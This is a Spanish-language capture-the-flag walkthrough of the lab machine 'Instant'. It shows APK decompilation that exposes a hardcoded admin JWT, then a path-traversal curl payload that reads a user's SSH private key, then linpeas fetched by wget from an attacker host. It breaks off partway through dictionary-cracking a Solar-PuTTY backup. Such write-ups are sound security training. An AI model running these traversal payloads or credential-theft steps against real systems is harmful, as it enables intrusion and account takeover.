Instant
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Instant es una máquina Linux de dificultad media que gira en torno a una API REST y a una app Android. La web ofrece descargar un.apk; al decompilarlo con apktool aparecen dos subdominios (mywalletv1yswagger-ui) y, dentro del código, un JWT de administrador grabado en duro. Con ese token accedemos a los endpoints privilegiados de la API; uno de ellos lee ficheros de logs y, abusándolo como path traversal, leemos la flag de usuario y la clave SSH privada deshirohige, lo que nos da shell. Para escalar, en/opt/backupshay un backup de Solar-PuTTY: descifrándolo offline recuperamos la contraseña derooten claro y unsucierra la caja.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.3764 bytes from 10.10.11.37: icmp_seq=1 ttl=63 time=38.7 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
El escaneo se apoya en tres funciones definidas en el .zshrc. Son cómodas, pero esconden el comando real, así que van con su código: la idea es que cualquiera reproduzca el escaneo sin tenerlas instaladas.
La primera, jmap, pide una IP y lanza un escaneo TCP de los 65535 puertos:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}Es decir, el comando equivalente sin la función es:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.37 -oG scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 15:17 CET
Initiating SYN Stealth Scan at 15:17
Scanning 10.10.11.37 [65535 ports]
Discovered open port 22/tcp on 10.10.11.37
Discovered open port 80/tcp on 10.10.11.37
Completed SYN Stealth Scan at 15:17, 14.39s elapsed (65535 total ports)
Nmap scan report for 10.10.11.37
Host is up, received user-set (0.093s latency).
Scanned at 2024-11-01 15:17:33 CET for 14s
Not shown: 65405 closed tcp ports (reset), 128 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63Dos apuntes de esa salida. El primero, la columna REASON repite el ttl 63 que ya vimos en el ping, y esta vez sobre paquetes TCP: coincidir por dos vías distintas refuerza la hipótesis de Linux. El segundo, los 128 puertos filtered (no-response) frente a 65405 closed (reset): la inmensa mayoría de puertos cerrados contestan con un RST, así que ese puñado que simplemente no responde es ruido de la VPN, no un cortafuegos que filtre de forma sistemática.
La segunda función, extractPorts, no escanea nada: parsea el fichero scan que dejó la anterior en formato grepable y deja los puertos listos en el portapapeles.
extractPorts () {
echo -e "Extracting information..."
ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)
ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
{
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
} >> extractPorts.tmp
echo "$ports" | xclip -sel clip
echo -e "Ports copied to clipboard\n"
cat extractPorts.tmp
rm extractPorts.tmp
}extractPorts scan
Extracting information...
IP Address: 10.10.11.37
Open ports: 22,80
Ports copied to clipboard
IP Address: 10.10.11.37
Open ports: 22,80Y la tercera, jmap2, lanza el escaneo de versiones y scripts por defecto solo contra esos dos puertos:
jmap2 () {
if [ "$#" -ne 2 ]
then
echo "Uso: jmap2 <ip> <puertos>"
return 1
fi
local ip="$1"
local puertos="$2"
nmap -p"$puertos" -sCV "$ip"
}nmap -p22,80 -sCV 10.10.11.37
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernelVirtual hosting
El script http-title no ha llegado a leer el título porque el servidor redirige a http://instant.htb/. Eso significa que Apache está sirviendo por virtual hosting: decide qué sitio devolver según la cabecera Host de la petición, y por IP pelada no encuentra nada útil. Para que nuestro navegador resuelva ese nombre lo añadimos al fichero de hosts local:
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.37 instant.htbEl sitio web - TCP 80
whatweb confirma la pila: un Apache 2.4.58 sobre Ubuntu sirviendo una web Bootstrap titulada Instant Wallet, con un correo de contacto support@instant.htb.
whatweb http://instant.htb
http://instant.htb [200 OK] Apache[2.4.58], Bootstrap[4.0.0], Country[RESERVED][ZZ],
Email[support@instant.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)],
IP[10.10.11.37], JQuery[3.2.1], Script, Title[Instant Wallet]Ya en el navegador, la portada es la de una cartera de dinero digital: un eslogan, un texto comercial y un botón grande DOWNLOAD NOW.

Bajando por la página hay un FAQ, y arriba a la derecha el mismo enlace Download Now! en la barra de navegación. En una caja así conviene fijarse en qué es exactamente lo que reparte: casi nunca es un .pdf inocente.

Antes de pulsarlo, un fuzzing de directorios con dirsearch para ver el resto del árbol. No aparece ningún panel oculto, pero sí un /downloads/ que responde 200 con 16 bytes (es decir, un listado vacío o casi): el sitio tiene un directorio pensado para servir ficheros.
dirsearch -u http://instant.htb
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://instant.htb/
[15:26:12] 301 - 307B - /js -> http://instant.htb/js/
[15:26:15] 403 - 276B - /.ht_wsr.txt
[15:26:15] 403 - 276B - /.htaccess.bak1
<SNIP: la ristra de /.ht* devuelve 403 en bloque>
[15:26:41] 301 - 308B - /css -> http://instant.htb/css/
[15:26:43] 301 - 314B - /downloads -> http://instant.htb/downloads/
[15:26:43] 200 - 16B - /downloads/
[15:26:49] 301 - 308B - /img -> http://instant.htb/img/
[15:26:51] 301 - 315B - /javascript -> http://instant.htb/javascript/
[15:26:51] 200 - 16B - /js/
[15:27:10] 403 - 276B - /server-status/
Task CompletedLos 403 de la familia .htaccess* son ruido del diccionario, no un hallazgo: Apache bloquea por configuración cualquier fichero que empiece por .ht, existan o no. Lo mismo con /server-status, que está compilado pero restringido a localhost.
Ahora sí, el botón. Lo que cae es un instant.apk, la aplicación Android de la cartera.

Fuzzing de vhosts: el camino que no era
Con un vhost confirmado, el reflejo es buscar más por fuerza bruta contra la cabecera Host (fuzzing de virtual hosts). Se lanza gobuster en modo vhost con un diccionario de 110 000 subdominios, filtrando por longitud de respuesta para descartar la página por defecto.
gobuster vhost -u http://instant.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 500 | grep -v "301,400"
[+] Url: http://instant.htb
[+] Method: GET
[+] Append Domain: false
Starting gobuster in VHOST enumeration mode
Progress: 36378 / 114442 (31.79%)[ERROR] Get "http://instant.htb/": context deadline exceeded
(Client.Timeout exceeded while awaiting headers)
<SNIP: el mismo error se repite decenas de veces>
Progress: 76258 / 114442 (66.63%)[ERROR] Get "http://instant.htb/": context deadline exceededNada. Y merece la pena entender por qué, porque es el tipo de callejón que se suele borrar de un writeup. Por un lado, -t 500 hilos contra una máquina de laboratorio al otro lado de una VPN satura el servidor y llena la pantalla de timeouts, así que ni siquiera se puede confiar en que un negativo sea un negativo real. Por otro, y esto es lo determinante, los subdominios de esta caja (mywalletv1, swagger-ui) no están en ningún diccionario genérico: son nombres internos del proyecto. Por fuerza bruta no iban a salir nunca. La información estaba en otro sitio, y ese otro sitio es el .apk que acabamos de descargar.
Acceso a la API como Admin
Decompilar la APK
Una .apk no es más que un ZIP con el código de la app y su configuración. La decompilamos con apktool para leer su interior: el bytecode de Dalvik traducido a .smali, el manifiesto y los recursos XML.
apktool d instant.apk
I: Using Apktool 2.7.0-dirty on instant.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directoryLo primero es preguntarle a la app con quién habla. Un grep recursivo por el dominio recorre todo lo decompilado y devuelve dos cosas: las URLs de la API dentro del código y, en res/xml/network_security_config.xml, dos subdominios que no estaban enlazados en ningún sitio de la web.
grep -r "instant.htb" instant
instant/smali/com/instantlabs/instant/ProfileActivity.smali: const-string v7, "http://mywalletv1.instant.htb/api/v1/view/profile"
instant/smali/com/instantlabs/instant/RegisterActivity.smali: const-string p4, "http://mywalletv1.instant.htb/api/v1/register"
instant/smali/com/instantlabs/instant/AdminActivities.smali: const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
instant/smali/com/instantlabs/instant/TransactionActivity.smali: const-string v0, "http://mywalletv1.instant.htb/api/v1/initiate/transaction"
instant/smali/com/instantlabs/instant/TransactionActivity$2.smali: const-string v1, "http://mywalletv1.instant.htb/api/v1/confirm/pin"
instant/smali/com/instantlabs/instant/LoginActivity.smali: const-string v1, "http://mywalletv1.instant.htb/api/v1/login"
instant/res/layout/activity_forgot_password.xml: android:text="Please contact support@instant.htb to have your account recovered"
instant/res/xml/network_security_config.xml: <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
instant/res/xml/network_security_config.xml: <domain includeSubdomains="true">swagger-ui.instant.htb</domain>Ese network_security_config.xml existe porque, desde Android 9, el tráfico en claro está prohibido por defecto; para permitir HTTP hay que declarar explícitamente los dominios. El desarrollador, sin querer, dejó ahí la lista blanca de su propia infraestructura. Los añadimos al /etc/hosts, en la misma línea de la IP:
sudo nano /etc/hosts
10.10.11.37 instant.htb swagger-ui.instant.htb mywalletv1.instant.htbQué hay en cada subdominio
Toca visitarlos. mywalletv1.instant.htb, que es el host contra el que la app hace todas sus peticiones, devuelve un 404 en la raíz: no tiene interfaz web, solo responde bajo /api/v1/....

Not Found
The requested URL was not found on the server. If you entered the URL manually please check
your spelling and try again.El interesante es el otro. swagger-ui.instant.htb/apidocs/ sirve un Swagger UI con la documentación interactiva de la API, generada con Flasgger (la extensión de Swagger para Flask). Ahí está el catálogo completo de endpoints, con su método y su descripción.

Instant API - Transfer Funds Without Limits! 0.0.1
/apispec_1.json
powered by Flasgger
Users
POST /api/v1/admin/add/user Admin Route To Create User 🔒
GET /api/v1/admin/list/users List All Users In The DB 🔒
POST /api/v1/login Login user
POST /api/v1/register Register a userLos candados de la derecha lo dicen todo: register y login son públicos (cualquiera se crea una cuenta y obtiene su token), pero los endpoints admin/* exigen autorización. Un usuario corriente puede darse de alta y poco más; para listar usuarios o leer logs hace falta el JWT del administrador en la cabecera Authorization. Ese es el objetivo ahora.
El JWT de administrador, grabado en duro
Volvemos al código decompilado, esta vez buscando la ruta de la API en lugar del dominio. El grep saca seis clases, y una destaca por el nombre: AdminActivities.smali.
grep -r "api/v1" instant
instant/smali/com/instantlabs/instant/ProfileActivity.smali: const-string v7, ".../api/v1/view/profile"
instant/smali/com/instantlabs/instant/RegisterActivity.smali: const-string p4, ".../api/v1/register"
instant/smali/com/instantlabs/instant/AdminActivities.smali: const-string v2, ".../api/v1/view/profile"
instant/smali/com/instantlabs/instant/TransactionActivity.smali: const-string v0, ".../api/v1/initiate/transaction"
instant/smali/com/instantlabs/instant/TransactionActivity$2.smali: const-string v1, ".../api/v1/confirm/pin"
instant/smali/com/instantlabs/instant/LoginActivity.smali: const-string v1, ".../api/v1/login"La volcamos entera. El smali es verboso pero se lee bien: hay un método privado TestAdminAuthorization() que construye un cliente OkHttp, apunta a /api/v1/view/profile y le añade una cabecera. Y el valor de esa cabecera está ahí mismo, como constante de cadena.
cat instant/smali/com/instantlabs/instant/AdminActivities.smali
.class public Lcom/instantlabs/instant/AdminActivities;
.source "AdminActivities.java"
.method private TestAdminAuthorization()Ljava/lang/String;
.locals 4
.line 22
new-instance v0, Lokhttp3/OkHttpClient;
invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V
.line 23
new-instance v1, Lokhttp3/Request$Builder;
const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
.line 24
invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(...)
move-result-object v1
const-string v2, "Authorization"
const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
.line 25
invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(...)Un método llamado "probar la autorización de administrador" con el token de administrador dentro. Es código de depuración que se quedó en la versión publicada, y es exactamente el tipo de resto que se busca al abrir una app.
Conviene conocer una segunda vía de búsqueda, más general y que no depende de acertar con el nombre de la clase: todo JWT empieza por eyJ, porque la cabecera {"alg":... codificada en Base64URL siempre produce ese prefijo. Buscar esa cadena por todo el árbol encuentra el token directamente.
grep -r "eyJ" instant
instant/smali/com/instantlabs/instant/AdminActivities.smali: const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"Antes de usarlo, lo pegamos en jwt.io para ver qué afirma. El payload de un JWT solo está codificado en Base64, no cifrado, así que se lee sin necesidad de conocer la clave de firma.

HEADER
{ "alg": "HS256", "typ": "JWT" }
PAYLOAD
{
"id": 1,
"role": "Admin",
"walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db",
"exp": 33259303656
}Dos datos importan. "role": "Admin" confirma que el token es el que buscábamos. Y "exp" vale 33259303656, que como epoch en segundos cae en el año 3023: el token no caduca en la práctica. Un secreto filtrado siempre es malo, pero uno que nunca expira convierte el descuido en una puerta trasera permanente.
Primera petición autenticada
Para usar el token se añade la cabecera Authorization a la petición. Probamos contra el endpoint más inofensivo, el de perfil, para verificar que el servidor lo acepta.
curl -X GET "http://swagger-ui.instant.htb/api/v1/view/profile" -H "accept: application/json" -H "Authorization: <JWT>"
{"Profile":{"account_status":"active","email":"admin@instant.htb","invite_token":"instant_admin_inv","role":"Admin","username":"instantAdmin","wallet_balance":"10000000","wallet_id":"f0eca6e5-783a-471d-9d8f-0162cbc900db"},"Status":200}Funciona: somos instantAdmin ante la API. El wallet_id coincide con el walId del token, y de regalo aparece un invite_token (instant_admin_inv), el código con el que la aplicación da de alta cuentas privilegiadas.
Listar los usuarios
Con el acceso confirmado, el endpoint de administración que enumera la base de datos.
curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/list/users" -H "accept: application/json" -H "Authorization: <JWT>" | grep "username"
{"Status":200,"Users":[{"email":"admin@instant.htb","role":"Admin","secret_pin":87348,"status":"active","username":"instantAdmin","wallet_id":"f0eca6e5-783a-471d-9d8f-0162cbc900db"},{"email":"shirohige@instant.htb","role":"instantian","secret_pin":42845,"status":"active","username":"shirohige","wallet_id":"458715c9-b15e-467b-8a3d-97bc3fcf3c11"},{"email":"string","role":"instantian","secret_pin":44444,"status":"active","username":"test3","wallet_id":"f6040335-2f2e-45da-9093-f68a5d982e0c"}]}El grep "username" no filtra gran cosa, porque la API devuelve todo el JSON en una sola línea y esa línea contiene la palabra: el resultado es el cuerpo entero. Da igual, porque lo que interesa está a la vista. Hay tres cuentas: instantAdmin, un test3 claramente de pruebas (correo literal "string", PIN 44444) y shirohige, que por el nombre y por el role: instantian es el usuario real de la máquina. Los secret_pin se devuelven en claro, otro fallo de diseño de la API, aunque en esta caja no llegan a hacer falta.
Shell como shirohige
Del endpoint de logs al path traversal
Swagger documenta un endpoint más, fuera del grupo de usuarios: leer ficheros de log. Si se prueba desde la propia interfaz sin token, el servidor contesta un 401 seco.

Error: UNAUTHORIZED
Response body
{
"Description": "Unauthorized!",
"Status": 401
}
Response headers
content-type: application/json
server: Werkzeug/3.0.3 Python/3.12.3
Responses
200 Successfully returns the log file content.
{
"Content": "Log file contents go here...",
"FileName": "/home/shirohige/logs/1.log",
"Status": 200
}
401 Unauthorized access to the log file.Esa respuesta fallida regala dos cosas. La cabecera server: Werkzeug/3.0.3 Python/3.12.3 confirma que detrás hay Flask (Werkzeug es su servidor de desarrollo), coherente con el Flasgger de la documentación. Y el ejemplo de respuesta 200 trae la pista de oro: el FileName de muestra es /home/shirohige/logs/1.log, o sea que las lecturas se resuelven dentro del directorio personal de shirohige, el usuario que acabamos de ver en la base de datos.
El primer intento se hace igual que en el ejemplo, pasando la ruta absoluta url-encodeada. Y falla:
curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=%2Fhome%2Fshirohige%2Flogs%2F1.log" -H "accept: application/json" -H "Authorization: <JWT>"
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request.
Either the server is overloaded or there is an error in the application.</p>Un 500 no es un 403: no nos está denegando el acceso, es que la aplicación ha reventado. La lectura razonable es que el servidor ya está posicionado en /home/shirohige/logs/ y concatena lo que le mandemos, de modo que la ruta efectiva quedaría en un /home/shirohige/logs//home/shirohige/logs/1.log que no existe. Se prueba entonces con el nombre a secas:
curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log" -H "accept: application/json" -H "Authorization: <JWT>"
{"/home/shirohige/logs/1.log":["This is a sample log testing\n"],"Status":201}Confirmado, y la propia respuesta lo demuestra: la clave del JSON es la ruta completa que el servidor ha construido, /home/shirohige/logs/1.log. Ese error de antes no era un obstáculo, era la pista de cómo funciona el endpoint por dentro.
Si concatena sin sanear, entonces acepta ../. Es un path traversal de manual: al anteponer ../ (codificado como ..%2F para que el punto y la barra no se pierdan por el camino) salimos del directorio de logs y leemos cualquier fichero al alcance de la cuenta. Primero, la flag de usuario, que vive justo un nivel más arriba:
curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2Fuser.txt" -H "accept: application/json" -H "Authorization: <JWT>"
{"/home/shirohige/logs/../user.txt":["b617f16ef69b65f40a78608b35f667ed\n"],"Status":201}Robar la clave SSH y entrar
Tenemos la flag, pero no una shell, y sin shell no hay escalada. Con la misma lectura arbitraria apuntamos a la clave privada SSH del usuario. La ruta es predecible: ~/.ssh/id_rsa es el nombre por defecto de una clave RSA generada con ssh-keygen.
curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2F.ssh%2Fid_rsa" -H "accept: application/json" -H "Authorization: <JWT>"
{"/home/shirohige/logs/../.ssh/id_rsa":["-----BEGIN OPENSSH PRIVATE KEY-----\n","b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\n","NhAAAAAwEAAQAAAYEApbntlalmnZWcTVZ0skIN2+Ppqr4xjYgIrZyZzd9YtJGuv/w3GW8B\n","<SNIP>","-----END OPENSSH PRIVATE KEY-----\n"],"Status":201}La API devuelve el fichero como un array con una entrada por línea, así que hay que rehacerlo antes de usarlo: quitar las comillas y las comas y dejar los saltos de línea reales. Una clave OpenSSH mal reconstruida no se carga, no hay tolerancia al formato.
echo "-----BEGIN OPENSSH PRIVATE KEY-----
<contenido de la clave, una línea por elemento del array>
-----END OPENSSH PRIVATE KEY-----" > id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEApbntlalmnZWcTVZ0skIN2+Ppqr4xjYgIrZyZzd9YtJGuv/w3GW8B
<SNIP>
-----END OPENSSH PRIVATE KEY-----Falta un paso que se olvida a menudo: SSH rechaza una clave privada si su fichero es legible por otros usuarios del sistema (avisa con un UNPROTECTED PRIVATE KEY FILE! y no conecta). Se le dan permisos de lectura y escritura solo para el propietario.
chmod 600 id_rsa![]()
root@kali:/home/krmena/machines/instant/content#chmod no imprime nada cuando tiene éxito: el retorno limpio al prompt es toda la confirmación que hay. Con la clave lista, ya conectamos.
ssh -i id_rsa shirohige@instant.htb
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Nov 1 22:06:10 2024 from 10.10.15.39
shirohige@instant:~$Estamos dentro como shirohige en un Ubuntu 24.04.1 LTS. El mensaje sobre la conexión a changelogs.ubuntu.com es normal en una máquina de laboratorio sin salida a Internet, y de paso confirma que no vamos a poder descargar nada directamente desde la víctima. Comprobamos la flag desde la shell, ahora sí con acceso interactivo al sistema de ficheros:
ls
cat user.txt
shirohige@instant:~$ ls
logs projects user.txt
shirohige@instant:~$ cat user.txt
b617f16ef69b65f40a78608b35f667edCoincide con la que sacamos por la API, y además vemos el resto del home: el directorio logs que el endpoint usaba de base, y un projects que promete.
Shell como root
Enumeración del sistema
Para no depender del ojo, se sube linpeas.sh (repo), que recorre el sistema buscando vectores conocidos. Como la víctima no tiene salida a Internet, se sirve desde nuestra máquina con un servidor HTTP y se descarga con wget en /tmp, que siempre es escribible.
python3 -m http.server 80wget http://10.10.15.39/linpeas.sh
--- servidor (atacante) ---
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.37 - - [01/Nov/2024 23:13:38] "GET /linpeas.sh HTTP/1.1" 200 -
--- víctima ---
shirohige@instant:/tmp$ wget http://10.10.15.39/linpeas.sh
--2024-11-01 22:13:38-- http://10.10.15.39/linpeas.sh
Connecting to 10.10.15.39:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 824745 (805K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[==============>] 805.42K 1.50MB/s in 0.5s
2024-11-01 22:13:39 (1.50 MB/s) - 'linpeas.sh' saved [824745/824745]El detalle del python frente a python3 no es anécdota: en Kali actual python a secas ya no existe (zsh: command not found: python), hay que invocar python3. Y el 200 en el log del servidor es la confirmación de que la transferencia salió, no una suposición.
chmod +x linpeas.sh
./linpeas.sh
LinPEAS-ng by carlospolop
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
...
Basic information
OS: Linux version 6.8.0-45-generic (buildd@lcy02-amd64-115) (x86_64-linux-gnu-gcc-13
(Ubuntu 13.2.0-23ubuntu4) 13.2.0, GNU ld (GNU Binutils for Ubuntu) 2.42)
#45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024
User & Groups: uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)
Hostname: instantYa en la cabecera hay un dato que apuntar: shirohige pertenece al grupo development además de al suyo propio. Un grupo secundario poco habitual suele significar que hay ficheros del proyecto a los que esta cuenta llega y otras no.
Del resto del informe hay tres hallazgos que conviene enseñar aunque ninguno acabe siendo el camino, porque forman parte de cómo se descarta:

╔══════════╣ Analyzing Env Files (limit 70)
-rw-r--r-- 1 shirohige shirohige 71 Aug 8 19:34 /home/shirohige/projects/mywallet/Instant-Api/mywallet/.env
SECRET_KEY=VeryStrongS3cretKeyY0uC4NTGET
LOG_PATH=/home/shirohige/logs/Ese .env es el de la API que acabamos de atacar, y cierra el círculo del path traversal: LOG_PATH es literalmente /home/shirohige/logs/, el prefijo que el servidor concatenaba. La otra variable, SECRET_KEY, es la clave de firma de la aplicación Flask; en un despliegue típico permitiría forjar tokens en vez de robarlos, que es la vía alternativa a todo el análisis de la APK. A estas alturas ya teníamos un JWT válido, así que no aporta nada, pero es el tipo de secreto que en un entorno real vale tanto como una contraseña de administrador.

╔══════════╣ Other Interesting Files
╚ .sh files in path
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path
/usr/bin/gettext.sh
/usr/bin/rescan-scsi-bus.sh
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db
Found /var/lib/PackageKit/transactions.dbLos dos .sh del PATH son de paquetes estándar del sistema, no scripts propios editables. Y de las dos bases de datos, transactions.db es el registro del gestor de paquetes y instant.db es el SQLite de la propia API, con los mismos usuarios y PIN que ya listamos por HTTP. Callejones, pero comprobados.
El backup de Solar-PuTTY
El hallazgo bueno está en /opt/backups, un directorio que no es del sistema (nadie instala nada en /opt/backups por defecto) y que por eso mismo merece una mirada. Dentro hay una carpeta Solar-PuTTY con un único fichero, sessions-backup.dat.
cd /opt/backups
ls
cd Solar-PuTTY/
ls
cat sessions-backup.dat
shirohige@instant:/opt/backups$ ls
Solar-PuTTY
shirohige@instant:/opt/backups$ cd so
-bash: cd: so: No such file or directory
shirohige@instant:/opt/backups$ cd Solar-PuTTY/
shirohige@instant:/opt/backups/Solar-PuTTY$ ls
sessions-backup.dat
shirohige@instant:/opt/backups/Solar-PuTTY$ cat sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYT1EshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd<SNIP>Solar-PuTTY es un gestor de conexiones de SolarWinds, para Windows, que guarda las sesiones (host, puerto y credenciales) en un fichero .dat. El contenido es un blob ilegible porque está cifrado con AES, pero con una clave derivada de una contraseña que elige el usuario. Eso lo deja expuesto a un ataque de diccionario offline: nos llevamos el fichero y probamos contraseñas sin límite ni ruido, hasta que el descifrado produzca un JSON válido.
La herramienta y su origen
Para esta parte no vale una herramienta genérica, hace falta una que conozca el formato. Buscando por el nombre del fichero aparece SolarPuttyCracker, un repositorio pequeño con el script, sus dependencias y poco más.

github.com/ItsWatchMakerr/SolarPuttyCracker
README.md Added output file, verbosity and better error handling
SolarPuttyCracker.py Added output file, verbosity and better error handling
requirements.txt Added the files and fixed the error in the README fileLa captura está tomada con el traductor automático del navegador activado, que castellaniza hasta el nombre del autor y el del repositorio; el enlace real es ItsWatchMakerr/SolarPuttyCracker. Lo clonamos:
git clone https://github.com/ItsWatchMakerr/SolarPuttyCracker.git
cd SolarPuttyCracker
ls
Cloning into 'SolarPuttyCracker' ...
remote: Enumerating objects: 15, done.
remote: Total 15 (delta 3), reused 10 (delta 3), pack-reused 0 (from 0)
Receiving objects: 100% (15/15), 5.91 KiB | 1.97 MiB/s, done.
Resolving deltas: 100% (3/3), done.
README.md SolarPuttyCracker.py requirements.txtSu única dependencia es pycryptodome, la biblioteca que implementa el AES. En Debian y derivadas recientes pip se niega a instalar en el Python del sistema (entorno "gestionado externamente"), de ahí el --break-system-packages; lo limpio sería un virtualenv, pero para una herramienta de un solo uso basta con ser consciente de lo que se está haciendo.
pip3 install -r requirements.txt --break-system-packages
python3 SolarPuttyCracker.py
Successfully installed pycryptodome-3.21.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting
behaviour with the system package manager.
usage: SolarPuttyCracker.py [-h] (-p PASSWORD | -w WORDLIST) [-v [VERBOSE]] [-o OUTPUT] sessions_file
SolarPuttyCracker.py: error: the following arguments are required: sessions_fileLanzarla sin argumentos es la forma más rápida de leer su interfaz: acepta o una contraseña conocida (-p) o un diccionario (-w), con salida opcional a fichero (-o) y modo verboso (-v).
Traer el fichero intacto
Aquí aparece un tropiezo que vale la pena contar. El primer intento se hizo con el texto copiado de la pantalla del cat anterior, y el descifrado falló siempre, incluso con la contraseña correcta:
Data must be padded to 8 byte boundary in CBC mode
Decryption failed with the provided password.El mensaje es literal: el AES en modo CBC trabaja por bloques y el dato de entrada no cuadra con el tamaño de bloque. Copiar un blob Base64 desde una terminal introduce saltos de línea, recortes y espacios que lo corrompen. La solución no es insistir con más contraseñas, es traer el fichero por un canal que no lo toque. Como ya tenemos la clave SSH, sftp sirve con la misma autenticación.
sftp -i id_rsa shirohige@instant.htb
Connected to instant.htb.
sftp> ls
logs projects user.txt
sftp> cd /opt/backups/
sftp> ls
Solar-PuTTY
sftp> cd Solar-PuTTY/
sftp> ls
sessions-backup.dat
sftp> get sessions-backup.dat /home/krmena/machines/instant/content/sessions-backup.dat
Fetching /opt/backups/Solar-PuTTY/sessions-backup.dat to /home/krmena/machines/instant/content/sessions-backup.dat
sessions-backup.dat 100% 1100 5.2KB/s 00:001100 bytes, íntegros. Ahora sí.
Descifrar y recuperar la contraseña de root
Se ataca con rockyou.txt, el diccionario clásico. La herramienta prueba cada palabra como clave de descifrado y comprueba si el resultado es un JSON válido.
python3 SolarPuttyCracker.py -w <rockyou.txt> -v -o output.txt <sessions-backup.dat> 2>/dev/null
Trying to decrypt using passwords from wordlist ...
Testing password '123456': Incorrect
Testing password '12345': Incorrect
Testing password '123456789': Incorrect
Testing password 'password': Incorrect
